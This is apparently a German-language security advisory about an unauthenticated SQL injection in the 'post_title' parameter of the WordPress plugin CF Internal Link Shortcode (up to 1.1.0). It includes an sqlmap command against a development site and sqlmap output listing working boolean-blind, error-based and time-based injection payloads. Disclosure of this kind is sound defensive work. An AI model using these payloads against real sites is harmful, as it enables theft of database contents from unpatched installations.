
CF Internal Link Shortcode <= 1.1.0 - Unauthentifizierte SQL-Injection
CF Internal Link Shortcode <= 1.1.0 - Nicht authentifizierte SQL-Injection
Das CF Internal Link Shortcode-Plugin für WordPress ist in allen Versionen bis einschließlich 1.1.0 anfällig für SQL-Injection über den Parameter 'post_title'. Dies ist auf unzureichendes Escaping des vom Benutzer bereitgestellten Parameters und die fehlende ausreichende Vorbereitung der bestehenden SQL-Abfrage zurückzuführen. Dadurch können nicht authentifizierte Angreifer zusätzliche SQL-Abfragen an bereits bestehende Abfragen anhängen, um vertrauliche Informationen aus der Datenbank zu extrahieren.
python3 /tools/sqlmap/sqlmap.py -u 'https://wp-dev.ddev.site:443/?cf_action=cfplsc_id_lookup&post_title=test' --text-only --dbms='MySQL ' -p post_title
___
__H__
___ ___[(]_____ ___ ___ {1.9.1.2#dev}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:51:48 /2025-01-10/
[14:51:48] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: post_title (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: cf_action=cfplsc_id_lookup&post_title=test' OR NOT 3808=3808#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: cf_action=cfplsc_id_lookup&post_title=test' AND (SELECT 4623 FROM(SELECT COUNT(*),CONCAT(0x716a767071,(SELECT (ELT(4623=4623,1))),0x717a7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UaJb
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cf_action=cfplsc_id_lookup&post_title=test' AND (SELECT 1598 FROM (SELECT(SLEEP(5)))TDXA)-- qAaL
---
[14:51:48] [INFO] testing MySQL
[14:51:48] [INFO] confirming MySQL
[14:51:48] [WARNING] reflective value(s) found and filtering out
[14:51:48] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)